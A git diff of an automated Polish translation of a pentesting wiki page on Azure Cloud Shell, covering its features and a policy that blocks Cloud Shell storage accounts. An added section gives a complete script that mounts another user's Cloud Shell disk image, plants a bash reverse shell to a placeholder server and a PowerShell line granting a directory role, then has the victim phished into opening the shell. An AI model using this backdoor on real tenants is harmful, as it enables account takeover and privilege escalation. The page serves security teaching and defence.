Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh

This commit is contained in:
Translator
2025-02-21 13:57:18 +00:00
parent ae4a345d1b
commit b1873052f8
@@ -4,18 +4,105 @@
## Azure Cloud Shell
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB współdzielonego dysku. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
**Azure Cloud Shell** to interaktywny, uwierzytelniony terminal dostępny przez przeglądarkę, zaprojektowany do zarządzania zasobami Azure, oferujący elastyczność pracy zarówno z Bash, jak i PowerShell. Działa na tymczasowym hoście na sesję, który wygasa po 20 minutach braku aktywności, zachowując pliki w lokalizacji $HOME przy użyciu 5-GB udostępnienia plików. Cloud Shell można uzyskać z wielu punktów, w tym z portalu Azure, shell.azure.com, dokumentacji Azure CLI i PowerShell, aplikacji mobilnej Azure oraz rozszerzenia Azure Account w Visual Studio Code.
Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
Nie ma przypisanych uprawnień do tej usługi, dlatego nie ma technik eskalacji uprawnień. Nie ma również żadnego rodzaju enumeracji.
### Kluczowe cechy
### Kluczowe funkcje
**Środowisko**: Azure Cloud Shell zapewnia bezpieczne środowisko, działając na Azure Linux, własnej dystrybucji Linuksa Microsoftu zaprojektowanej dla infrastruktury chmurowej. Wszystkie pakiety zawarte w repozytorium Azure Linux są wewnętrznie kompilowane przez Microsoft, aby chronić przed atakami na łańcuch dostaw.
**Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
**Trwałość $HOME**: Po uruchomieniu Azure Cloud Shell po raz pierwszy, możesz go używać z lub bez podłączonego konta magazynowego. Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji. Aby zachować pliki między sesjami, zamontuj konto magazynowe, które automatycznie podłącza się jako **$HOME\clouddrive**, z Twoim katalogiem **$HOME** zapisanym jako plik **.img** w Azure File Share. Jednak pliki poza $HOME i stany maszyn nie są zachowywane. Aby bezpiecznie przechowywać sekrety, takie jak klucze SSH, użyj Azure Key Vault.
**Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
**Instalacja niestandardowych narzędzi**: Użytkownicy, którzy konfigurowali Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień roota. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
- **Wstępnie zainstalowane narzędzia**: Cloud Shell zawiera kompleksowy zestaw wstępnie zainstalowanych narzędzi, takich jak Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git oraz edytory tekstu, takie jak vim, nano i emacs. Te narzędzia są gotowe do użycia. Aby wyświetlić zainstalowane pakiety i moduły, możesz użyć "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
- **Dysk Azure (Azure:)**: PowerShell w Azure Cloud Shell zawiera dysk Azure (Azure:), który umożliwia łatwą nawigację po zasobach Azure, takich jak Compute, Network i Storage, przy użyciu poleceń podobnych do systemu plików. Przełącz się na dysk Azure za pomocą cd Azure: i wróć do swojego katalogu domowego za pomocą cd ~. Możesz nadal używać poleceń Azure PowerShell do zarządzania zasobami z dowolnego dysku.
- **Instalacja niestandardowych narzędzi**: Użytkownicy, którzy skonfigurują Cloud Shell z kontem magazynowym, mogą instalować dodatkowe narzędzia, które nie wymagają uprawnień administratora. Ta funkcja pozwala na dalszą personalizację środowiska Cloud Shell, umożliwiając użytkownikom dostosowanie swojego ustawienia do ich specyficznych potrzeb.
- **Trwałość $HOME**: Podczas pierwszego uruchomienia Azure Cloud Shell możesz używać go z lub bez podłączonego konta magazynowego.
- Wybór braku podłączenia magazynu tworzy epizodyczną sesję, w której pliki są usuwane po zakończeniu sesji.
- Aby zachować pliki między sesjami, masz możliwość **zamontowania konta magazynowego**, które automatycznie podłącza się jako `$HOME\clouddrive`, a twój katalog `$HOME` **zapisany jest jako plik .img w udostępnieniu plików.**
### Phishing w Cloud Shell
Jeśli atakujący znajdzie obrazy innych użytkowników w koncie magazynowym, do którego ma dostęp do zapisu i odczytu, będzie mógł pobrać obraz, **dodać do niego backdoora bash i PS** oraz przesłać go z powrotem do konta magazynowego, aby następnym razem, gdy użytkownik uzyska dostęp do powłoki, **polecenia będą automatycznie wykonywane**.
- **Pobierz, dodaj backdoora i przesyłaj obraz:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **Następnie, phishinguj użytkownika, aby uzyskać dostęp do https://shell.azure.com/**
### Znajdź i zabroń automatycznym kontom magazynowym Cloud Shell
Konta magazynowe utworzone przez Cloud Shell są oznaczone tagiem **`ms-resource-usage:azure-cloud-shell`**. Możliwe jest utworzenie polityki zasobów Azure, która uniemożliwia tworzenie zasobów z tym tagiem.
Znajdź wszystkie konta magazynowe utworzone przez Cloud Shell według tagów:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
Polityka zabraniająca tworzenia automatycznych kont magazynowych dla przechowywania w chmurze na podstawie tagów:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## Odniesienia
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
@@ -23,7 +110,7 @@ Nie przypisano uprawnień do tej usługi, dlatego nie ma technik eskalacji upraw
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Trwałość
## Utrzymywanie
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md